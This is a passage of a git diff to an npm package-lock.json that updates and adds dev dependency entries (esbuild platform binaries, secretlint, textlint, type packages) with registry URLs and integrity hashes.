"sha512-GyG0KcMi1GBavP5JgAkkstMGyMholMDybAf8wF5A70CALlDM2p/f7YFE7H92eDeH/VBtFJA5MT4nRPDGg4JuzQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", "dev": true, "optional": true }, "@esbuild/linux-riscv64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.8.tgz", - "integrity": "sha512-rAqDYFv3yzMrq7GIcen3XP7TUEG/4LK86LUPMIz6RT8A6pRIDn0sDcvjudVZBiiTcZCY9y2SgYX2lgK3AF+1eg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", "dev": true, "optional": true }, "@esbuild/linux-s390x": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.8.tgz", - "integrity": "sha512-Xutvh6VjlbcHpsIIbwY8GVRbwoviWT19tFhgdA7DlenLGC/mbc3lBoVb7jxj9Z+eyGqvcnSyIltYUrkKzWqSvg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", "dev": true, "optional": true }, "@esbuild/linux-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.8.tgz", - "integrity": "sha512-ASFQhgY4ElXh3nDcOMTkQero4b1lgubskNlhIfJrsH5OKZXDpUAKBlNS0Kx81jwOBp+HCeZqmoJuihTv57/jvQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", "dev": true, "optional": true }, "@esbuild/netbsd-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.8.tgz", - "integrity": "sha512-d1KfruIeohqAi6SA+gENMuObDbEjn22olAR7egqnkCD9DGBG0wsEARotkLgXDu6c4ncgWTZJtN5vcgxzWRMzcw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", "dev": true, "optional": true }, "@esbuild/netbsd-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.8.tgz", - "integrity": "sha512-nVDCkrvx2ua+XQNyfrujIG38+YGyuy2Ru9kKVNyh5jAys6n+l44tTtToqHjino2My8VAY6Lw9H7RI73XFi66Cg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", "dev": true, "optional": true }, "@esbuild/openbsd-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.8.tgz", - "integrity": "sha512-j8HgrDuSJFAujkivSMSfPQSAa5Fxbvk4rgNAS5i3K+r8s1X0p1uOO2Hl2xNsGFppOeHOLAVgYwDVlmxhq5h+SQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", "dev": true, "optional": true }, "@esbuild/openbsd-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.8.tgz", - "integrity": "sha512-1h8MUAwa0VhNCDp6Af0HToI2TJFAn1uqT9Al6DJVzdIBAd21m/G0Yfc77KDM3uF3T/YaOgQq3qTJHPbTOInaIQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", "dev": true, "optional": true }, "@esbuild/openharmony-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.8.tgz", - "integrity": "sha512-r2nVa5SIK9tSWd0kJd9HCffnDHKchTGikb//9c7HX+r+wHYCpQrSgxhlY6KWV1nFo1l4KFbsMlHk+L6fekLsUg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", "dev": true, "optional": true }, "@esbuild/sunos-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.8.tgz", - "integrity": "sha512-zUlaP2S12YhQ2UzUfcCuMDHQFJyKABkAjvO5YSndMiIkMimPmxA+BYSBikWgsRpvyxuRnow4nS5NPnf9fpv41w==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", "dev": true, "optional": true }, "@esbuild/win32-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.8.tgz", - "integrity": "sha512-YEGFFWESlPva8hGL+zvj2z/SaK+pH0SwOM0Nc/d+rVnW7GSTFlLBGzZkuSU9kFIGIo8q9X3ucpZhu8PDN5A2sQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", "dev": true, "optional": true }, "@esbuild/win32-ia32": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.8.tgz", - "integrity": "sha512-hiGgGC6KZ5LZz58OL/+qVVoZiuZlUYlYHNAmczOm7bs2oE1XriPFi5ZHHrS8ACpV5EjySrnoCKmcbQMN+ojnHg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", "dev": true, "optional": true }, "@esbuild/win32-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.8.tgz", - "integrity": "sha512-cn3Yr7+OaaZq1c+2pe+8yxC8E144SReCQjN6/2ynubzYjvyqZjTXfQJpAcQpsdJq3My7XADANiYGHoFC69pLQw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", "dev": true, "optional": true }, @@ -11308,6 +12365,12 @@ "integrity": "sha512-Ys+3g2TaW7gADOJzPt83SJtCDhMjndcDMFVQ/Tj9iA1BfJzFKD9mAUXT3OenpuPHbI6P/myECxRJrofUsDx/5g==", "dev": true }, + "@fastify/busboy": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@fastify/busboy/-/busboy-2.1.1.tgz", + "integrity": "sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==", + "dev": true + }, "@gar/promisify": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", @@ -11416,6 +12479,16 @@ "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", "dev": true }, + "@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "requires": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, "@jridgewell/resolve-uri": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", @@ -11423,15 +12496,15 @@ "dev": true }, "@jridgewell/sourcemap-codec": { - "version": "1.4.15", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", - "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", "dev": true }, "@jridgewell/trace-mapping": { - "version": "0.3.25", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", - "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "version": "0.3.30", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.30.tgz", + "integrity": "sha512-GQ7Nw5G2lTu/BtHTKfXhKHok2WGetd4XYcVKGx00SjAk8GMwgJM3zr6zORiPGuOE+/vkc90KtTosSSvaCjKb2Q==", "dev": true, "requires": { "@jridgewell/resolve-uri": "^3.1.0", @@ -11839,23 +12912,23 @@ "optional": true }, "@secretlint/config-creator": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/config-creator/-/config-creator-10.1.1.tgz", - "integrity": "sha512-TJ42CHZqqnEe9ORvIXVVMqdu3KAtyZRxLspjFexo6XgrwJ6CoFHQYzIihilqRjo2sJh9HMrpnYSj/5hopofGrA==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/config-creator/-/config-creator-10.2.2.tgz", + "integrity": "sha512-BynOBe7Hn3LJjb3CqCHZjeNB09s/vgf0baBaHVw67w7gHF0d25c3ZsZ5+vv8TgwSchRdUCRrbbcq5i2B1fJ2QQ==", "dev": true, "requires": { - "@secretlint/types": "^10.1.1" + "@secretlint/types": "^10.2.2" } }, "@secretlint/config-loader": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/config-loader/-/config-loader-10.1.1.tgz", - "integrity": "sha512-jBClVFmS6Yu/zI5ejBCRF5a5ASYsE4gOjogjB+WsaHbQHtGvnyY7I26Qtdg4ihCc/VPKYQg0LdM75pLTXzwsjg==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/config-loader/-/config-loader-10.2.2.tgz", + "integrity": "sha512-ndjjQNgLg4DIcMJp4iaRD6xb9ijWQZVbd9694Ol2IszBIbGPPkwZHzJYKICbTBmh6AH/pLr0CiCaWdGJU7RbpQ==", "dev": true, "requires": { - "@secretlint/profiler": "^10.1.1", - "@secretlint/resolver": "^10.1.1", - "@secretlint/types": "^10.1.1", + "@secretlint/profiler": "^10.2.2", + "@secretlint/resolver": "^10.2.2", + "@secretlint/types": "^10.2.2", "ajv": "^8.17.1", "debug": "^4.4.1", "rc-config-loader": "^4.1.3" @@ -11882,102 +12955,125 @@ } }, "@secretlint/core": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/core/-/core-10.1.1.tgz", - "integrity": "sha512-COLCxSoH/iVQdLeaZPVtBj0UWKOagO09SqYkCQgfFfZ+soGxKVK405dL317r4PnH9Pm8/s8xQC6OSY5rWTRObQ==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/core/-/core-10.2.2.tgz", + "integrity": "sha512-6rdwBwLP9+TO3rRjMVW1tX+lQeo5gBbxl1I5F8nh8bgGtKwdlCMhMKsBWzWg1ostxx/tIG7OjZI0/BxsP8bUgw==", "dev": true, "requires": { - "@secretlint/profiler": "^10.1.1", - "@secretlint/types": "^10.1.1", + "@secretlint/profiler": "^10.2.2", + "@secretlint/types": "^10.2.2", "debug": "^4.4.1", "structured-source": "^4.0.0" } }, "@secretlint/formatter": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/formatter/-/formatter-10.1.1.tgz", - "integrity": "sha512-Gpd8gTPN121SJ0h/9e6nWlZU7PitfhXUiEzW7Kyswg6kNGs+bSqmgTgWFtbo1VQ4ygJYiveWPNT05RCImBexJw==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/formatter/-/formatter-10.2.2.tgz", + "integrity": "sha512-10f/eKV+8YdGKNQmoDUD1QnYL7TzhI2kzyx95vsJKbEa8akzLAR5ZrWIZ3LbcMmBLzxlSQMMccRmi05yDQ5YDA==", "dev": true, "requires": { - "@secretlint/resolver": "^10.1.1", - "@secretlint/types": "^10.1.1", - "@textlint/linter-formatter": "^14.8.4", - "@textlint/module-interop": "^14.8.4", - "@textlint/types": "^14.8.4", - "chalk": "^4.1.2", + "@secretlint/resolver": "^10.2.2", + "@secretlint/types": "^10.2.2", + "@textlint/linter-formatter": "^15.2.0", + "@textlint/module-interop": "^15.2.0", + "@textlint/types": "^15.2.0", + "chalk": "^5.4.1", "debug": "^4.4.1", "pluralize": "^8.0.0", - "strip-ansi": "^6.0.1", + "strip-ansi": "^7.1.0", "table": "^6.9.0", - "terminal-link": "^2.1.1" + "terminal-link": "^4.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true + }, + "chalk": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", + "dev": true + }, + "strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "requires": { + "ansi-regex": "^6.0.1" + } + } } }, "@secretlint/node": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/node/-/node-10.1.1.tgz", - "integrity": "sha512-AhN+IGqljVObm8a+B33b23FY79wihu5E61Nd3oYSoZV7SxUvMjpafqhLfpt4frNSY7Ghf/pirWu7JY7GMujFrA==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/node/-/node-10.2.2.tgz", + "integrity": "sha512-eZGJQgcg/3WRBwX1bRnss7RmHHK/YlP/l7zOQsrjexYt6l+JJa5YhUmHbuGXS94yW0++3YkEJp0kQGYhiw1DMQ==", "dev": true, "requires": { - "@secretlint/config-loader": "^10.1.1", - "@secretlint/core": "^10.1.1", - "@secretlint/formatter": "^10.1.1", - "@secretlint/profiler": "^10.1.1", - "@secretlint/source-creator": "^10.1.1", - "@secretlint/types": "^10.1.1", + "@secretlint/config-loader": "^10.2.2", + "@secretlint/core": "^10.2.2", + "@secretlint/formatter": "^10.2.2", + "@secretlint/profiler": "^10.2.2", + "@secretlint/source-creator": "^10.2.2", + "@secretlint/types": "^10.2.2", "debug": "^4.4.1", "p-map": "^7.0.3" } }, "@secretlint/profiler": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/profiler/-/profiler-10.1.1.tgz", - "integrity": "sha512-kReI+Wr7IQz0LbVwYByzlnPbx4BEF2oEWJBc4Oa45g24alCjHu+jD9h9mzkTJqYUgMnVYD3o7HfzeqxFrV+9XA==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/profiler/-/profiler-10.2.2.tgz", + "integrity": "sha512-qm9rWfkh/o8OvzMIfY8a5bCmgIniSpltbVlUVl983zDG1bUuQNd1/5lUEeWx5o/WJ99bXxS7yNI4/KIXfHexig==", "dev": true }, "@secretlint/resolver": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/resolver/-/resolver-10.1.1.tgz", - "integrity": "sha512-GdQzxnBtdBRjBULvZ8ERkaRqDp0njVwXrzBCav1pb0XshVk76C1cjeDqtTqM4RJ1Awo/g5U5MIWYztYv67v5Gg==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/resolver/-/resolver-10.2.2.tgz", + "integrity": "sha512-3md0cp12e+Ae5V+crPQYGd6aaO7ahw95s28OlULGyclyyUtf861UoRGS2prnUrKh7MZb23kdDOyGCYb9br5e4w==", "dev": true }, "@secretlint/secretlint-formatter-sarif": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/secretlint-formatter-sarif/-/secretlint-formatter-sarif-10.1.1.tgz", - "integrity": "sha512-Dyq8nzy6domjSlZKX1E5PEzuWxeTqjQJWrlXBmVmOjwLBLfRZDlm5Vq+AduBmEk03KEIKIZi4cZQwsniuRPO9Q==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-formatter-sarif/-/secretlint-formatter-sarif-10.2.2.tgz", + "integrity": "sha512-ojiF9TGRKJJw308DnYBucHxkpNovDNu1XvPh7IfUp0A12gzTtxuWDqdpuVezL7/IP8Ua7mp5/VkDMN9OLp1doQ==", "dev": true, "requires": { - "node-sarif-builder": "^2.0.3" + "node-sarif-builder": "^3.2.0" } }, "@secretlint/secretlint-rule-no-dotenv": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-no-dotenv/-/secretlint-rule-no-dotenv-10.1.1.tgz", - "integrity": "sha512-a3/sOUUtEHuw1HCadtxUjViNeomiiohfJj+rwtHxJkCq4pjITS3HSYhQBXnNvkctQNljKIzFm7JUA/4QJ6I4sQ==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-no-dotenv/-/secretlint-rule-no-dotenv-10.2.2.tgz", + "integrity": "sha512-KJRbIShA9DVc5Va3yArtJ6QDzGjg3PRa1uYp9As4RsyKtKSSZjI64jVca57FZ8gbuk4em0/0Jq+uy6485wxIdg==", "dev": true, "requires": { - "@secretlint/types": "^10.1.1" + "@secretlint/types": "^10.2.2" } }, "@secretlint/secretlint-rule-preset-recommend": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-preset-recommend/-/secretlint-rule-preset-recommend-10.1.1.tgz", - "integrity": "sha512-+GeISCXVgpnoeRZE4ZPsuO97+fm6z8Ge23LNq6LvR9ZJAq018maXVftkJhHj4hnvYB5URUAEerBBkPGNk5/Ong==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-preset-recommend/-/secretlint-rule-preset-recommend-10.2.2.tgz", + "integrity": "sha512-K3jPqjva8bQndDKJqctnGfwuAxU2n9XNCPtbXVI5JvC7FnQiNg/yWlQPbMUlBXtBoBGFYp08A94m6fvtc9v+zA==", "dev": true }, "@secretlint/source-creator": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/source-creator/-/source-creator-10.1.1.tgz", - "integrity": "sha512-IWjvHcE0bhC/x88a9M9jbZlFRZGUEbBzujxrs2KzI5IQ2BXTBRBRhRSjE/BEpWqDHILB22c3mfam8X+UjukphA==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/source-creator/-/source-creator-10.2.2.tgz", + "integrity": "sha512-h6I87xJfwfUTgQ7irWq7UTdq/Bm1RuQ/fYhA3dtTIAop5BwSFmZyrchph4WcoEvbN460BWKmk4RYSvPElIIvxw==", "dev": true, "requires": { - "@secretlint/types": "^10.1.1", + "@secretlint/types": "^10.2.2", "istextorbinary": "^9.5.0" } }, "@secretlint/types": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/types/-/types-10.1.1.tgz", - "integrity": "sha512-/JGAvVkurVHkargk3AC7UxRy+Ymc+52AVBO/fZA5pShuLW2dX4O/rKc4n8cyhQiOb/3ym5ACSlLQuQ8apPfxrQ==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/types/-/types-10.2.2.tgz", + "integrity": "sha512-Nqc90v4lWCXyakD6xNyNACBJNJ0tNCwj2WNk/7ivyacYHxiITVgmLUFXTBOeCdy79iz6HtN9Y31uw/jbLrdOAg==", "dev": true }, "@sindresorhus/merge-streams": { @@ -12023,23 +13119,33 @@ "type-detect": "^4.1.0" } }, + "@so-ric/colorspace": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@so-ric/colorspace/-/colorspace-1.1.6.tgz", + "integrity": "sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw==", + "dev": true, + "requires": { + "color": "^5.0.2", + "text-hex": "1.0.x" + } + }, "@textlint/ast-node-types": { - "version": "14.8.4", - "resolved": "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-14.8.4.tgz", - "integrity": "sha512-+fI7miec/r9VeniFV9ppL4jRCmHNsTxieulTUf/4tvGII3db5hGriKHC4p/diq1SkQ9Sgs7kg6UyydxZtpTz1Q==", + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-15.2.2.tgz", + "integrity": "sha512-9ByYNzWV8tpz6BFaRzeRzIov8dkbSZu9q7IWqEIfmRuLWb2qbI/5gTvKcoWT1HYs4XM7IZ8TKSXcuPvMb6eorA==", "dev": true }, "@textlint/linter-formatter": { - "version": "14.8.4", - "resolved": "https://registry.npmjs.org/@textlint/linter-formatter/-/linter-formatter-14.8.4.tgz", - "integrity": "sha512-sZ0UfYRDBNHnfMVBqLqqYnqTB7Ec169ljlmo+SEHR1T+dHUPYy1/DZK4p7QREXlBSFL4cnkswETCbc9xRodm4Q==", + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/linter-formatter/-/linter-formatter-15.2.2.tgz", + "integrity": "sha512-oMVaMJ3exFvXhCj3AqmCbLaeYrTNLqaJnLJMIlmnRM3/kZdxvku4OYdaDzgtlI194cVxamOY5AbHBBVnY79kEg==", "dev": true, "requires": { "@azu/format-text": "^1.0.2", "@azu/style-format": "^1.0.1", - "@textlint/module-interop": "14.8.4", - "@textlint/resolver": "14.8.4", - "@textlint/types": "14.8.4", + "@textlint/module-interop": "15.2.2", + "@textlint/resolver": "15.2.2", + "@textlint/types": "15.2.2", "chalk": "^4.1.2", "debug": "^4.4.1", "js-yaml": "^3.14.1", @@ -12075,34 +13181,28 @@ "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-2.0.0.tgz", "integrity": "sha512-TqNZzQCD4S42De9IfnnBvILN7HAW7riLqsCyp8lgjXeysyPlX5HhqKAcJHHHb9XskE4/a+7VGC9zzx8Ls0jOAw==", "dev": true - }, - "sprintf-js": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", - "dev": true } } }, "@textlint/module-interop": { - "version": "14.8.4", - "resolved": "https://registry.npmjs.org/@textlint/module-interop/-/module-interop-14.8.4.tgz", - "integrity": "sha512-1LdPYLAVpa27NOt6EqvuFO99s4XLB0c19Hw9xKSG6xQ1K82nUEyuWhzTQKb3KJ5Qx7qj14JlXZLfnEuL6A16Bw==", + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/module-interop/-/module-interop-15.2.2.tgz", + "integrity": "sha512-2rmNcWrcqhuR84Iio1WRzlc4tEoOMHd6T7urjtKNNefpTt1owrTJ9WuOe60yD3FrTW0J/R0ux5wxUbP/eaeFOA==", "dev": true }, "@textlint/resolver": { - "version": "14.8.4", - "resolved": "https://registry.npmjs.org/@textlint/resolver/-/resolver-14.8.4.tgz", - "integrity": "sha512-nMDOgDAVwNU9ommh+Db0U+MCMNDPbQ/1HBNjbnHwxZkCpcT6hsAJwBe38CW/DtWVUv8yeR4R40IYNPT84srNwA==", + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/resolver/-/resolver-15.2.2.tgz", + "integrity": "sha512-4hGWjmHt0y+5NAkoYZ8FvEkj8Mez9TqfbTm3BPjoV32cIfEixl2poTOgapn1rfm73905GSO3P1jiWjmgvii13Q==", "dev": true }, "@textlint/types": { - "version": "14.8.4", - "resolved": "https://registry.npmjs.org/@textlint/types/-/types-14.8.4.tgz", - "integrity": "sha512-9nyY8vVXlr8hHKxa6+37omJhXWCwovMQcgMteuldYd4dOxGm14AK2nXdkgtKEUQnzLGaXy46xwLCfhQy7V7/YA==", + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/types/-/types-15.2.2.tgz", + "integrity": "sha512-X2BHGAR3yXJsCAjwYEDBIk9qUDWcH4pW61ISfmtejau+tVqKtnbbvEZnMTb6mWgKU1BvTmftd5DmB1XVDUtY3g==", "dev": true, "requires": { - "@textlint/ast-node-types": "14.8.4" + "@textlint/ast-node-types": "15.2.2" } }, "@tootallnate/once": { @@ -12111,10 +13211,24 @@ "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", "dev": true }, + "@trivago/prettier-plugin-sort-imports": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/@trivago/prettier-plugin-sort-imports/-/prettier-plugin-sort-imports-5.2.2.tgz", + "integrity": "sha512-fYDQA9e6yTNmA13TLVSA+WMQRc5Bn/c0EUBditUHNfMMxN7M82c38b1kEggVE3pLpZ0FwkwJkUEKMiOi52JXFA==", + "dev": true, + "requires": { + "@babel/generator": "^7.26.5", + "@babel/parser": "^7.26.7", + "@babel/traverse": "^7.26.7", + "@babel/types": "^7.26.7", + "javascript-natural-sort": "^0.7.1", + "lodash": "^4.17.21" + } + }, "@types/archiver": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/@types/archiver/-/archiver-6.0.3.tgz", - "integrity": "sha512-a6wUll6k3zX6qs5KlxIggs1P1JcYJaTCx2gnlr+f0S1yd2DoaEwoIK10HmBaLnZwWneBz+JBm0dwcZu0zECBcQ==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/@types/archiver/-/archiver-7.0.0.tgz", + "integrity": "sha512-/3vwGwx9n+mCQdYZ2IKGGHEFL30I96UgBlk8EtRDDFQ9uxM1l4O5Ci6r00EMAkiDaTqD9DQ6nVrWRICnBPtzzg==", "dev": true, "requires": { "@types/readdir-glob": "*" @@ -12169,6 +13283,15 @@ "@types/node": "*" } }, + "@types/diff": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@types/diff/-/diff-8.0.0.tgz", + "integrity": "sha512-o7jqJM04gfaYrdCecCVMbZhNdG6T1MHg/oQoRFdERLV+4d+V7FijhiEAbFu0Usww84Yijk9yH58U4Jk4HbtzZw==", + "dev": true, + "requires": { + "diff": "*" + } + }, "@types/istanbul-lib-coverage": 